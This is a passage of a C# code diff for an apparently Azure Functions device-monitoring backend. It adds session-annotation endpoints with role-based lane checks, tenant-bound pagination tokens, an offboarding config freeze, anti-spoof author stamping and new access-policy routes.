private readonly ISessionAnnotationRepository _annotationRepo;
public ListTenantSessionAnnotationsFunction(
ILogger<ListTenantSessionAnnotationsFunction> logger,
ISessionAnnotationRepository annotationRepo)
{
_logger = logger;
_annotationRepo = annotationRepo;
}
// Route lives under the /api/sessions prefix so the platform cert-exclusion list
// (Azure-portal-only config) needs no new entry — same convention as
// /api/diagnostics/files. Three segments on purpose: a two-segment literal
// ("sessions/annotations") would be eaten by the sibling "sessions/{sessionId}"
// template (see the /api/stats/sessions incident note in lib/api.ts).
[Function("ListTenantSessionAnnotations")]
public async Task<HttpResponseData> Run(
[HttpTrigger(AuthorizationLevel.Anonymous, "get", Route = "sessions/annotations/list")] HttpRequestData req)
{
try
{
// Authentication + MemberRead authorization enforced by PolicyEnforcementMiddleware
var requestCtx = req.GetRequestContext();
var callerTenantId = TenantHelper.GetTenantId(req);
var query = HttpUtility.ParseQueryString(req.Url.Query ?? string.Empty);
var parsedRaw = SessionAnnotationsPagination.ParseQuery(query);
if (parsedRaw.Error != null)
{
var bad = req.CreateResponse(HttpStatusCode.BadRequest);
await bad.WriteAsJsonAsync(new { success = false, message = parsedRaw.Error });
return bad;
}
// The tenant filter is never caller-chosen here: TargetTenantId is the
// middleware-validated scope (own tenant; the ?tenantId drill-in is validated
// there too). A body/query value can never widen it.
var parsed = new SessionAnnotationsPagination.Parsed
{
FilterTenantId = requestCtx.TargetTenantId,
Lane = parsedRaw.Lane,
Verdict = parsedRaw.Verdict,
RuleId = parsedRaw.RuleId,
DateFrom = parsedRaw.DateFrom,
DateTo = parsedRaw.DateTo,
PageSize = parsedRaw.PageSize,
Continuation = parsedRaw.Continuation,
};
string? azureToken = null;
if (parsed.Continuation != null)
{
if (!SessionAnnotationsPagination.TryAcceptContinuation(
parsed, callerTenantId, out azureToken, out var rejectReason))
{
_logger.LogWarning("ListTenantSessionAnnotations: continuation rejected ({Reason})", rejectReason);
var bad = req.CreateResponse(HttpStatusCode.BadRequest);
await bad.WriteAsJsonAsync(new
{
success = false,
message = $"Invalid continuation token ({rejectReason}). Restart pagination from the first page.",
});
return bad;
}
}
var (items, nextRawToken) = await _annotationRepo.QueryPageAsync(
parsed.FilterTenantId, parsed.Lane, parsed.Verdict, parsed.RuleId,
parsed.DateFrom, parsed.DateTo, parsed.PageSize, azureToken,
excludeGlobalAdminLane: !requestCtx.HasGlobalScope);
string? nextLink = null;
if (!string.IsNullOrEmpty(nextRawToken))
{
var wireToken = SessionAnnotationsPagination.EncodeContinuation(
parsed, callerTenantId, nextRawToken!);
nextLink = SessionAnnotationsPagination.BuildNextLink(
parsed, wireToken, SessionAnnotationsPagination.TenantBasePath);
}
return await req.OkAsync(new
{
success = true,
count = items.Count,
annotations = items.Select(AnnotationWire.ToWireWithScope).ToList(),
nextLink,
});
}
catch (Exception ex)
{
_logger.LogError(ex, "Error listing tenant session annotations");
var errorResponse = req.CreateResponse(HttpStatusCode.InternalServerError);
await errorResponse.WriteAsJsonAsync(new { success = false, message = "Internal server error." });
return errorResponse;
}
}
}
}
@@ -0,0 +1,274 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using AutopilotMonitor.Functions.Helpers;
using AutopilotMonitor.Shared;
using AutopilotMonitor.Shared.DataAccess;
using AutopilotMonitor.Shared.Models;
using Microsoft.Azure.Functions.Worker;
using Microsoft.Azure.Functions.Worker.Http;
using Microsoft.Extensions.Logging;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
namespace AutopilotMonitor.Functions.Functions.Annotations
{
/// <summary>
/// Upserts (or clears) the annotation for one session + lane.
/// Policy tier is TenantAdminOrOperator; the per-lane write matrix is re-gated here
/// via <see cref="IsLaneWritableByCaller"/> (catalog multi-kind rule). Author fields
/// are stamped from the JWT — a body-supplied author never wins.
/// </summary>
public class UpsertSessionAnnotationFunction
{
private readonly ILogger<UpsertSessionAnnotationFunction> _logger;
private readonly ISessionAnnotationRepository _annotationRepo;
private readonly ISessionRepository _sessionRepo;
private readonly IRuleRepository _ruleRepo;
private readonly IMaintenanceRepository _maintenanceRepo;
public UpsertSessionAnnotationFunction(
ILogger<UpsertSessionAnnotationFunction> logger,
ISessionAnnotationRepository annotationRepo,
ISessionRepository sessionRepo,
IRuleRepository ruleRepo,
IMaintenanceRepository maintenanceRepo)
{
_logger = logger;
_annotationRepo = annotationRepo;
_sessionRepo = sessionRepo;
_ruleRepo = ruleRepo;
_maintenanceRepo = maintenanceRepo;
}
[Function("UpsertSessionAnnotation")]
public async Task<HttpResponseData> Run(
[HttpTrigger(AuthorizationLevel.Anonymous, "put", Route = "sessions/{sessionId}/annotations/{lane}")] HttpRequestData req,
string sessionId,
string lane)
{
try
{
// Authentication + TenantAdminOrOperator authorization enforced by
// PolicyEnforcementMiddleware; the lane matrix is re-gated below.
var requestCtx = req.GetRequestContext();
var userIdentifier = TenantHelper.GetUserIdentifier(req);
var normalizedLane = lane?.ToLowerInvariant() ?? string.Empty;
if (!AnnotationLanes.All.Contains(normalizedLane))
{
return await BadRequestAsync(req,
$"lane must be one of: {string.Join(", ", AnnotationLanes.All)}");
}
// Tenant identity: non-GA callers are pinned to their middleware-validated
// tenant (never a body value — prevents horizontal escalation). Global
// Admins may annotate foreign-tenant sessions (the GA labeling flow), so
// resolve the session's actual tenant like the other session reads do.
// Resolution happens BEFORE the lane gate: tenant-role lanes must bind to
// the caller's OWN tenant, so a GA who is also an own-tenant admin cannot
// write another tenant's operator/tenantadmin lanes.
var effectiveTenantId = requestCtx.TargetTenantId;
if (requestCtx.IsGlobalAdmin)
{
var resolvedTenantId = await _sessionRepo.FindSessionTenantIdAsync(sessionId);
if (resolvedTenantId != null
&& !string.Equals(resolvedTenantId, effectiveTenantId, StringComparison.OrdinalIgnoreCase))
{
effectiveTenantId = resolvedTenantId;
}
}
var isOwnTenant = string.Equals(effectiveTenantId, requestCtx.TenantId, StringComparison.OrdinalIgnoreCase);
if (!IsLaneWritableByCaller(
normalizedLane, isOwnTenant ? requestCtx.UserRole : null,
requestCtx.IsTenantAdmin && isOwnTenant, requestCtx.IsGlobalAdmin))
{
_logger.LogWarning(
"UpsertSessionAnnotation: BLOCKED lane={Lane} for user={User} role={Role} ownTenant={OwnTenant}",
normalizedLane, userIdentifier, requestCtx.UserRole, isOwnTenant);
var forbidden = req.CreateResponse(HttpStatusCode.Forbidden);
await forbidden.WriteAsJsonAsync(new
{
success = false,
message = $"Your role does not permit writing the '{normalizedLane}' annotation lane.",
});
return forbidden;
}
// Annotations must not create junk rows for sessions that don't exist.
var session = await _sessionRepo.GetSessionAsync(effectiveTenantId, sessionId);
if (session == null)
{
var notFound = req.CreateResponse(HttpStatusCode.NotFound);
await notFound.WriteAsJsonAsync(new { success = false, message = "Session not found." });
return notFound;
}
var body = await req.ReadAsStringAsync() ?? string.Empty;
JObject json;
try
{
json = JObject.Parse(body);
}
catch (JsonException)
{
return await BadRequestAsync(req, "Invalid JSON body.");
}
var verdict = ReadOptionalString(json, "verdict")?.ToLowerInvariant();
var note = ReadOptionalString(json, "note");
if (verdict != null && !AnnotationVerdicts.All.Contains(verdict))
{
return await BadRequestAsync(req,
$"verdict must be one of: {string.Join(", ", AnnotationVerdicts.All)}");
}
if (note != null && note.Length > SessionAnnotation.MaxNoteLength)
{
return await BadRequestAsync(req,
$"note must be at most {SessionAnnotation.MaxNoteLength} characters.");
}
// Anti-spoof: author identity comes from the JWT, never from the body
// (same stamp as the rule PUT-upserts).
var authorDisplayName = TenantHelper.GetUserDisplayName(req) ?? "Autopilot Monitor";
// Both fields empty = clear the lane.
if (verdict == null && note == null)
{
await _annotationRepo.DeleteAsync(effectiveTenantId, sessionId, normalizedLane);
await LogAuditAsync(requestCtx.IsGlobalAdmin, effectiveTenantId, "DELETE",
sessionId, normalizedLane, userIdentifier, verdict: null);
_logger.LogInformation(
"Annotation cleared for session {SessionId} lane {Lane} by {User}",
sessionId, normalizedLane, userIdentifier);
return await req.OkAsync(new { success = true, deleted = true });
}
var existing = await _annotationRepo.GetAsync(effectiveTenantId, sessionId, normalizedLane);
var now = DateTime.UtcNow;
var annotation = new SessionAnnotation
{
TenantId = effectiveTenantId,
SessionId = sessionId,
Lane = normalizedLane,
Verdict = verdict,
Note = note,
AuthorUpn = userIdentifier,
AuthorDisplayName = authorDisplayName,
CreatedByUpn = existing?.CreatedByUpn ?? userIdentifier,
CreatedAtUtc = existing?.CreatedAtUtc ?? now,
UpdatedAtUtc = now,
RuleIds = await SnapshotRuleIdsAsync(effectiveTenantId, sessionId),
};
await _annotationRepo.UpsertAsync(annotation);
await LogAuditAsync(requestCtx.IsGlobalAdmin, effectiveTenantId, "UPDATE",
sessionId, normalizedLane, userIdentifier, verdict);
_logger.LogInformation(
"Annotation saved for session {SessionId} lane {Lane} by {User} (verdict={Verdict})",
sessionId, normalizedLane, userIdentifier, verdict ?? "none");
return await req.OkAsync(new
{
success = true,
annotation = AnnotationWire.ToWire(annotation),
});
}
catch (Exception ex)
{
_logger.LogError(ex, "Error saving annotation for session {SessionId} lane {Lane}", sessionId, lane);
var errorResponse = req.CreateResponse(HttpStatusCode.InternalServerError);
await errorResponse.WriteAsJsonAsync(new { success = false, message = "Internal server error." });
return errorResponse;
}
}
/// <summary>
/// Per-lane write matrix (policy tier already limited callers to tenant
/// Admin/Operator or GA):
/// operator → Operator or Tenant Admin (admins supervise operator notes)
/// tenantadmin → Tenant Admin only
/// globaladmin → Global Admin only (GA writes ONLY this lane — clean attribution;
/// a GA who is also an own-tenant admin still passes IsTenantAdmin
/// for that tenant's lanes)
/// </summary>
internal static bool IsLaneWritableByCaller(
string lane, string? userRole, bool isTenantAdmin, bool isGlobalAdmin)
{
return lane switch
{
AnnotationLanes.GlobalAdmin => isGlobalAdmin,
AnnotationLanes.TenantAdmin => isTenantAdmin,
AnnotationLanes.Operator => isTenantAdmin
|| string.Equals(userRole, Constants.TenantRoles.Operator, StringComparison.OrdinalIgnoreCase),
_ => false,
};
}
/// <summary>
/// Snapshot of the rule ids that fired for this session, denormalized onto the
/// annotation so rule-quality evaluation needs no join. Fail-soft: an empty list
/// never blocks the write.
/// </summary>
private async Task<List<string>> SnapshotRuleIdsAsync(string tenantId, string sessionId)
{
try
{
var results = await _ruleRepo.GetRuleResultsAsync(tenantId, sessionId);
return results
.Select(r => r.RuleId)
.Where(id => !string.IsNullOrEmpty(id))
.Distinct(StringComparer.OrdinalIgnoreCase)
.ToList();
}
catch (Exception ex)
{
_logger.LogWarning(ex,
"Annotation rule-id snapshot failed for session {SessionId}; storing empty list", sessionId);
return new List<string>();
}
}
// Audit entries land in the tenant-visible audit log; GA writes are skipped so
// platform-internal labeling activity does not surface there (same convention as
// session-report submissions by GAs).
private async Task LogAuditAsync(
bool isGlobalAdmin, string tenantId, string action,
string sessionId, string lane, string userIdentifier, string? verdict)
{
if (isGlobalAdmin) return;
await _maintenanceRepo.LogAuditEntryAsync(
tenantId,
action,
"SessionAnnotation",
$"{sessionId}/{lane}",
userIdentifier,
new Dictionary<string, string>
{
{ "Action", "UpsertSessionAnnotation" },
{ "SessionId", sessionId },
{ "Lane", lane },
{ "Verdict", verdict ?? string.Empty },
});
}
private static string? ReadOptionalString(JObject json, string property)
{
var token = json[property];
if (token == null || token.Type == JTokenType.Null) return null;
var value = token.ToString().Trim();
return value.Length == 0 ? null : value;
}
private static async Task<HttpResponseData> BadRequestAsync(HttpRequestData req, string message)
{
var response = req.CreateResponse(HttpStatusCode.BadRequest);
await response.WriteAsJsonAsync(new { success = false, message });
return response;
}
}
}
@@ -274,13 +274,14 @@ namespace AutopilotMonitor.Functions.Functions.Config
var response = req.CreateResponse(HttpStatusCode.OK);
await response.WriteAsJsonAsync(new AgentConfigResponse
{
ConfigVersion = 36, // EnableGatherRuleDebugLog (local gather-rule evaluation trace)
ConfigVersion = 37, // EnableEspContinueAnywayObservation (Continue-Anyway observation mode)
UploadIntervalSeconds = 10,
SelfDestructOnComplete = tenantConfig.SelfDestructOnComplete ?? true,
KeepLogFile = tenantConfig.KeepLogFile ?? false,
EnableGeoLocation = tenantConfig.EnableGeoLocation ?? true,
EnableImeMatchLog = tenantConfig.EnableImeMatchLog ?? false,
EnableGatherRuleDebugLog = tenantConfig.EnableGatherRuleDebugLog ?? false,
EnableEspContinueAnywayObservation = tenantConfig.EnableEspContinueAnywayObservation ?? false,
MaxAuthFailures = tenantConfig.MaxAuthFailures ?? 5,
AuthFailureTimeoutMinutes = tenantConfig.AuthFailureTimeoutMinutes ?? 0,
LogLevel = tenantConfig.LogLevel ?? "Info",
@@ -3,6 +3,7 @@ using System.IO;
using System.Net;
using System.Threading.Tasks;
using System.Collections.Generic;
using AutopilotMonitor.Functions.Functions.Admin;
using AutopilotMonitor.Functions.Helpers;
using AutopilotMonitor.Functions.Security;
using AutopilotMonitor.Functions.Services;
@@ -71,6 +72,23 @@ namespace AutopilotMonitor.Functions.Functions.Config
// before validation/save and (2) protect GA-only fields below.
var existingConfig = await _configService.GetConfigurationAsync(requestCtx.TargetTenantId);
// Mid-offboarding freeze: the Disabled tombstone written by TenantOffboardFunction
// is the cascade's ONLY auth gate. A PUT that lifts it (or edits anything else)
// races the queued wipe — data written afterwards gets destroyed, and agents
// would be un-gated against a tenant whose partitions are being deleted. Refuse
// for ALL callers, GA included; once the cascade completes the row is deleted
// and re-onboarding starts from a fresh default config anyway.
if (TenantOffboardFunction.IsOffboardingTombstone(existingConfig))
{
var conflict = req.CreateResponse(HttpStatusCode.Conflict);
await conflict.WriteAsJsonAsync(new
{
success = false,
message = "Tenant offboarding is in progress — the configuration is frozen until the cascade completes."
});
return conflict;
}
// Defense-in-depth: a read-only GlobalReader is served a redacted config (secrets replaced
// with the ***REDACTED*** sentinel). If such a view is ever round-tripped back on a save,
// never persist the placeholder — restore the real secret from the stored config. (Own-tenant
@@ -101,6 +119,7 @@ namespace AutopilotMonitor.Functions.Functions.Config
config.BootstrapTokenEnabled != existingConfig.BootstrapTokenEnabled ||
config.UnrestrictedModeEnabled != existingConfig.UnrestrictedModeEnabled ||
config.EntraAppRolesEnabled != existingConfig.EntraAppRolesEnabled ||
config.EnableEspContinueAnywayObservation != existingConfig.EnableEspContinueAnywayObservation ||
config.CustomRateLimitRequestsPerMinute != existingConfig.CustomRateLimitRequestsPerMinute ||
config.CustomUserRateLimitRequestsPerMinute != existingConfig.CustomUserRateLimitRequestsPerMinute ||
config.Disabled != existingConfig.Disabled ||
@@ -115,6 +134,9 @@ namespace AutopilotMonitor.Functions.Functions.Config
config.BootstrapTokenEnabled = existingConfig.BootstrapTokenEnabled;
config.UnrestrictedModeEnabled = existingConfig.UnrestrictedModeEnabled;
config.EntraAppRolesEnabled = existingConfig.EntraAppRolesEnabled;
// Continue-Anyway observation is an operator-set behavioral override —
// a tenant admin must not be able to relax their own failure semantics.
config.EnableEspContinueAnywayObservation = existingConfig.EnableEspContinueAnywayObservation;
config.CustomRateLimitRequestsPerMinute = existingConfig.CustomRateLimitRequestsPerMinute;
config.CustomUserRateLimitRequestsPerMinute = existingConfig.CustomUserRateLimitRequestsPerMinute;
config.Disabled = existingConfig.Disabled;
@@ -44,6 +44,8 @@ namespace AutopilotMonitor.Functions.Functions.Ingest
// Strict limits for the unauthenticated endpoint.
// MaxContentLength bumped from 1024 -> 1536 to accommodate the V2 cert-context fields
// (Thumbprint + Subject + Issuer + NotBefore/After + SourceState ~430 bytes worst-case).
// The IsCloudPc bool (2026-08) adds ≤ 18 bytes ("\"IsCloudPc\":false,") — well within
// the existing headroom, no bump needed.
// Rate-limiting (per-IP + per-tenant + global circuit breaker) remains the primary
// DoS defense — the size cap is a payload-shape gate, not the throttle.
internal const int MaxContentLength = 1536;
@@ -204,6 +206,7 @@ namespace AutopilotMonitor.Functions.Functions.Ingest
AgentTimestamp = report.Timestamp,
IngestedAt = DateTime.UtcNow,
SourceIp = clientIp,
IsCloudPc = report.IsCloudPc,
CertSourceState = certSourceState,
CertThumbprint = certThumbprint,
CertSubject = certSubject,
@@ -297,8 +300,8 @@ namespace AutopilotMonitor.Functions.Functions.Ingest
// Structured log (Warning, not Critical — data is unverified)
_logger.LogWarning(
"AgentDistress [{ErrorType}] tenant={TenantId} mfr={Manufacturer} model={Model} sn={SerialNumber} http={HttpStatusCode} ver={AgentVersion} certState={CertSourceState} thumbprint={CertThumbprint}: {Message}",
report.ErrorType, tenantId, manufacturer, model, serialNumber,
"AgentDistress [{ErrorType}] tenant={TenantId} mfr={Manufacturer} model={Model} sn={SerialNumber} cloudPc={IsCloudPc} http={HttpStatusCode} ver={AgentVersion} certState={CertSourceState} thumbprint={CertThumbprint}: {Message}",
report.ErrorType, tenantId, manufacturer, model, serialNumber, report.IsCloudPc,
report.HttpStatusCode, agentVersion, certSourceState ?? "n/a", certThumbprint ?? "n/a", message);
// Custom event for KQL queries:
@@ -315,6 +318,7 @@ namespace AutopilotMonitor.Functions.Functions.Ingest
["Message"] = message ?? string.Empty,
["AgentTimestamp"] = report.Timestamp.ToString("O"),
["SourceIp"] = clientIp,
["IsCloudPc"] = report.IsCloudPc.ToString(),
["CertSourceState"] = certSourceState ?? string.Empty,
["CertThumbprint"] = certThumbprint ?? string.Empty,
["CertSubject"] = certSubject ?? string.Empty,
@@ -49,7 +49,7 @@ namespace AutopilotMonitor.Functions.Functions.Reports
success = true,
aggregated,
totalRawReports,
dataQualityNotice = "This data is from pre-authentication distress reports and is UNVERIFIED. Devices reported here were rejected with HTTP 403 because they were not found in the tenant's Autopilot or Corporate Identifier registry. Serial number, manufacturer, and model values are self-reported by devices."
dataQualityNotice = "This data is from pre-authentication distress reports and is UNVERIFIED. Devices reported here were rejected with HTTP 403 because they were not found in the tenant's Autopilot or Corporate Identifier registry. Serial number, manufacturer, model, and the Cloud PC marker are self-reported by devices."
});
}
catch (Exception ex)
@@ -81,6 +81,10 @@ namespace AutopilotMonitor.Functions.Functions.Reports
serialNumber = mostRecent.SerialNumber ?? "",
manufacturer = mostRecent.Manufacturer ?? "",
model = mostRecent.Model ?? "",
// Sticky-true across the group (same OR semantics as the Sessions-table
// IsCloudPc merge): older agents in the mix report false for the same
// device, and a once-seen W365 marker must not flap back to false.
isCloudPc = g.Any(r => r.IsCloudPc),
attemptCount = g.Count(),
firstSeen = g.Min(r => r.IngestedAt),
lastSeen = g.Max(r => r.IngestedAt)
@@ -72,6 +72,10 @@ namespace AutopilotMonitor.Functions.Functions.Rules
return badRequest;
}
// Author is stamped from the creator's token, never from the payload
// (anti-spoof), and stays immutable through every later update.
rule.Author = TenantHelper.GetUserDisplayName(req) ?? "Autopilot Monitor";
try
{
var success = await _ruleService.CreateRuleAsync(tenantId, rule);
@@ -124,6 +128,11 @@ namespace AutopilotMonitor.Functions.Functions.Rules
return badRequest;
}
// Same anti-spoof stamp as CreateRule: on a true update the service replaces
// this with the original author (immutable attribution), but a full-payload PUT
// that upserts a rule with no existing row must not store the payload's author.
rule.Author = TenantHelper.GetUserDisplayName(req) ?? "Autopilot Monitor";
try
{
var success = await _ruleService.UpdateRuleAsync(tenantId, rule);
@@ -1,4 +1,5 @@
using System.Net;
using AutopilotMonitor.Functions.Helpers;
using AutopilotMonitor.Functions.Services;
using AutopilotMonitor.Shared.Models;
using Microsoft.Azure.Functions.Worker;
@@ -110,6 +111,11 @@ namespace AutopilotMonitor.Functions.Functions.Rules
if (scopeError != null)
return await BadRequestAsync(req, scopeError);
// Same anti-spoof stamp as the tenant route: true updates keep the original
// author (service-level preservation); a PUT-upsert with no existing row
// stores the editing admin, never the payload's author.
rule.Author = TenantHelper.GetUserDisplayName(req) ?? "Autopilot Monitor";
_logger.LogInformation("Global admin updating gather rule {RuleId} for tenant {TenantId}", ruleId, tenantId);
var success = await _gatherRuleService.UpdateRuleAsync(tenantId, rule);
@@ -19,27 +19,33 @@ public static class TenantHelper
/// <param name="req">The HTTP request</param>
/// <returns>The tenant ID from the JWT token</returns>
/// <exception cref="UnauthorizedAccessException">Thrown when user is not authenticated or tenant ID is missing</exception>
public static string GetTenantId(HttpRequestData req)
/// <summary>
/// Resolves the authenticated ClaimsPrincipal for the request, or null.
/// Azure Functions Isolated Worker: FunctionContext.Items first (set by
/// AuthenticationMiddleware, more reliable than httpContext.User), then
/// the HTTP context as fallback.
/// </summary>
private static ClaimsPrincipal? GetAuthenticatedPrincipal(HttpRequestData req)
{
// Azure Functions Isolated Worker: Try FunctionContext.Items first
// This is set by AuthenticationMiddleware and is more reliable than httpContext.User
ClaimsPrincipal? user = null;
if (req.FunctionContext.Items.TryGetValue("ClaimsPrincipal", out var principalObj)
&& principalObj is ClaimsPrincipal principal)
{
user = principal;
return principal;
}
else
var httpContext = req.FunctionContext.GetHttpContext();
if (httpContext?.User?.Identity?.IsAuthenticated == true)
{
// Fallback to HTTP context (may not work reliably in isolated worker)
var httpContext = req.FunctionContext.GetHttpContext();
if (httpContext?.User?.Identity?.IsAuthenticated == true)
{
user = httpContext.User;
}
return httpContext.User;
}
return null;
}
public static string GetTenantId(HttpRequestData req)
{
var user = GetAuthenticatedPrincipal(req);
if (user?.Identity?.IsAuthenticated != true)
{
throw new UnauthorizedAccessException("User is not authenticated. JWT token required.");
@@ -67,23 +73,7 @@ public static class TenantHelper
/// <returns>User email or name, or "Anonymous" if not authenticated</returns>
public static string GetUserIdentifier(HttpRequestData req)
{
// Azure Functions Isolated Worker: Try FunctionContext.Items first
ClaimsPrincipal? user = null;
if (req.FunctionContext.Items.TryGetValue("ClaimsPrincipal", out var principalObj)
&& principalObj is ClaimsPrincipal principal)
{
user = principal;
}
else
{
// Fallback to HTTP context
var httpContext = req.FunctionContext.GetHttpContext();
if (httpContext?.User?.Identity?.IsAuthenticated == true)
{
user = httpContext.User;
}
}
var user = GetAuthenticatedPrincipal(req);
if (user?.Identity?.IsAuthenticated != true)
{
@@ -100,4 +90,32 @@ public static class TenantHelper
user.FindFirst("name")?.Value ??
"Unknown";
}
/// <summary>
/// Gets the caller's human-readable name for attribution (e.g. rule Author):
/// display name first, then UPN/email/preferred_username. Returns null when
/// the request carries no user identity (anonymous or app-only token) so the
/// caller can choose its own fallback.
/// </summary>
public static string? GetUserDisplayName(HttpRequestData req)
=> GetUserDisplayName(GetAuthenticatedPrincipal(req));
/// <summary>
/// Claim-precedence core of <see cref="GetUserDisplayName(HttpRequestData)"/>,
/// separated so the precedence is unit-testable without an HttpRequestData.
/// </summary>
public static string? GetUserDisplayName(ClaimsPrincipal? user)
{
if (user?.Identity?.IsAuthenticated != true)
{
return null;
}
return user.FindFirst("name")?.Value ??
user.FindFirst(ClaimTypes.Name)?.Value ??
user.FindFirst("upn")?.Value ??
user.FindFirst(ClaimTypes.Upn)?.Value ??
user.FindFirst(ClaimTypes.Email)?.Value ??
user.FindFirst("preferred_username")?.Value;
}
}
@@ -0,0 +1,153 @@
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Globalization;
using System.Linq;
using System.Text;
using AutopilotMonitor.Shared.Models;
using AutopilotMonitor.Shared.Pagination;
namespace AutopilotMonitor.Functions.Pagination
{
/// <summary>
/// Pure helpers for the <c>GET /api/global/session-annotations</c> pagination
/// surface. GA-only at the policy layer; every optional filter is a server-side
/// <em>filter</em>, not an authorization scope, so the continuation token binds
/// the caller's identity + the whole active filter set (a token issued for one
/// filter view can't be replayed against another).
/// </summary>
public static class SessionAnnotationsPagination
{
public const int DefaultPageSize = 200;
public const int MaxPageSize = 1000;
public static string Fingerprint(
string callerTenantId, string? filterTenantId, string? lane, string? verdict,
string? ruleId, DateTime? dateFrom, DateTime? dateTo) =>
ContinuationToken.ComputeFingerprint(new[]
{
new KeyValuePair<string, string?>("scope", "session-annotations"),
new KeyValuePair<string, string?>("tenantId", callerTenantId),
new KeyValuePair<string, string?>("filterTenantId", filterTenantId),
new KeyValuePair<string, string?>("lane", lane),
new KeyValuePair<string, string?>("verdict", verdict),
new KeyValuePair<string, string?>("ruleId", ruleId),
new KeyValuePair<string, string?>("dateFrom", dateFrom?.ToString("o", CultureInfo.InvariantCulture)),
new KeyValuePair<string, string?>("dateTo", dateTo?.ToString("o", CultureInfo.InvariantCulture)),
});
public sealed class Parsed
{
public string? FilterTenantId { get; init; }
public string? Lane { get; init; }
public string? Verdict { get; init; }
public string? RuleId { get; init; }
public DateTime? DateFrom { get; init; }
public DateTime? DateTo { get; init; }
public int PageSize { get; init; } = DefaultPageSize;
public string? Continuation { get; init; }
public string? Error { get; init; }
}
public static Parsed ParseQuery(NameValueCollection? query)
{
var pageSize = DefaultPageSize;
var pageSizeRaw = query?["pageSize"];
if (!string.IsNullOrEmpty(pageSizeRaw))
{
if (!int.TryParse(pageSizeRaw, NumberStyles.Integer, CultureInfo.InvariantCulture, out var n))
return new Parsed { Error = "pageSize must be an integer" };
if (n < 1 || n > MaxPageSize)
return new Parsed { Error = $"pageSize must be between 1 and {MaxPageSize}" };
pageSize = n;
}
var lane = Normalize(query?["lane"]);
if (lane != null && !AnnotationLanes.All.Contains(lane))
return new Parsed { Error = $"lane must be one of: {string.Join(", ", AnnotationLanes.All)}" };
var verdict = Normalize(query?["verdict"]);
if (verdict != null && !AnnotationVerdicts.All.Contains(verdict))
return new Parsed { Error = $"verdict must be one of: {string.Join(", ", AnnotationVerdicts.All)}" };
if (!TryParseDate(query?["dateFrom"], out var dateFrom))
return new Parsed { Error = "dateFrom must be an ISO 8601 date" };
if (!TryParseDate(query?["dateTo"], out var dateTo))
return new Parsed { Error = "dateTo must be an ISO 8601 date" };
return new Parsed
{
FilterTenantId = NullIfEmpty(query?["tenantId"]),
Lane = lane,
Verdict = verdict,
RuleId = NullIfEmpty(query?["ruleId"]),
DateFrom = dateFrom,
DateTo = dateTo,
PageSize = pageSize,
Continuation = NullIfEmpty(query?["continuation"]),
};
}
public static bool TryAcceptContinuation(
Parsed parsed,
string callerTenantId,
out string azureToken,
out string? rejectReason)
{
var fp = Fingerprint(
callerTenantId, parsed.FilterTenantId, parsed.Lane, parsed.Verdict,
parsed.RuleId, parsed.DateFrom, parsed.DateTo);
return ContinuationToken.TryDecode(parsed.Continuation!, callerTenantId, fp, out azureToken, out rejectReason);
}
public static string EncodeContinuation(Parsed parsed, string callerTenantId, string rawAzureToken)
{
var fp = Fingerprint(
callerTenantId, parsed.FilterTenantId, parsed.Lane, parsed.Verdict,
parsed.RuleId, parsed.DateFrom, parsed.DateTo);
return ContinuationToken.Encode(rawAzureToken, callerTenantId, fp);
}
public const string GlobalBasePath = "/api/global/session-annotations";
// Under /api/sessions so the platform client-cert exclusion prefix covers it.
public const string TenantBasePath = "/api/sessions/annotations/list";
public static string BuildNextLink(Parsed parsed, string wireContinuation, string basePath = GlobalBasePath)
{
var sb = new StringBuilder(basePath);
sb.Append("?pageSize=").Append(parsed.PageSize.ToString(CultureInfo.InvariantCulture));
sb.Append("&continuation=").Append(Uri.EscapeDataString(wireContinuation));
AppendIfSet(sb, "tenantId", parsed.FilterTenantId);
AppendIfSet(sb, "lane", parsed.Lane);
AppendIfSet(sb, "verdict", parsed.Verdict);
AppendIfSet(sb, "ruleId", parsed.RuleId);
AppendIfSet(sb, "dateFrom", parsed.DateFrom?.ToString("o", CultureInfo.InvariantCulture));
AppendIfSet(sb, "dateTo", parsed.DateTo?.ToString("o", CultureInfo.InvariantCulture));
return sb.ToString();
}
private static void AppendIfSet(StringBuilder sb, string name, string? value)
{
if (!string.IsNullOrEmpty(value))
sb.Append('&').Append(name).Append('=').Append(Uri.EscapeDataString(value!));
}
private static bool TryParseDate(string? raw, out DateTime? value)
{
value = null;
if (string.IsNullOrEmpty(raw)) return true;
if (!DateTime.TryParse(
raw, CultureInfo.InvariantCulture,
DateTimeStyles.AssumeUniversal | DateTimeStyles.AdjustToUniversal, out var parsed))
return false;
value = parsed;
return true;
}
private static string? Normalize(string? raw) =>
string.IsNullOrEmpty(raw) ? null : raw.ToLowerInvariant();
private static string? NullIfEmpty(string? raw) =>
string.IsNullOrEmpty(raw) ? null : raw;
}
}
@@ -234,6 +234,14 @@ public static class EndpointAccessPolicyCatalog
// sessions/{sessionId}/signals + /decision-graph live in the GlobalAdminOnly block below
// (Inspector v1 — Plan §M6). Lift back to MemberRead+QueryParam at the v2 adminMode lift.
new("GET", "sessions/{sessionId}/analysis", EndpointPolicy.MemberRead, TenantScoping.QueryParam),
// Member tier: annotation reads are safe for every tenant member because the handler
// filters the platform-internal globaladmin lane for callers without global scope
// (GetSessionAnnotationsFunction.FilterLanesForCaller; the tenant list excludes the
// lane server-side in the OData query). The list route deliberately lives under the
// /api/sessions client-cert exclusion prefix, three segments deep (a two-segment
// literal would be eaten by the sessions/{sessionId} template).
new("GET", "sessions/{sessionId}/annotations", EndpointPolicy.MemberRead, TenantScoping.QueryParam),
new("GET", "sessions/annotations/list", EndpointPolicy.MemberRead, TenantScoping.QueryParam),
new("GET", "sessions/{sessionId}/vulnerability-report", EndpointPolicy.MemberRead, TenantScoping.QueryParam),
new("GET", "sessions/{sessionId}/time-attribution", EndpointPolicy.MemberRead, TenantScoping.QueryParam),
new("GET", "metrics/app", EndpointPolicy.MemberRead),
@@ -297,6 +305,10 @@ public static class EndpointAccessPolicyCatalog
// the portal); the function re-gates the admin-only action types (terminate_session,
// rotate_config) on RequestContext.IsTenantAdmin || IsGlobalAdmin.
new("POST", "sessions/{sessionId}/actions", EndpointPolicy.TenantAdminOrOperator),
// Operator tier so troubleshooting staff can write the operator annotation lane; the
// function re-gates the per-lane matrix (tenantadmin lane → IsTenantAdmin, globaladmin
// lane → IsGlobalAdmin) via UpsertSessionAnnotationFunction.IsLaneWritableByCaller.
new("PUT", "sessions/{sessionId}/annotations/{lane}", EndpointPolicy.TenantAdminOrOperator, TenantScoping.QueryParam),
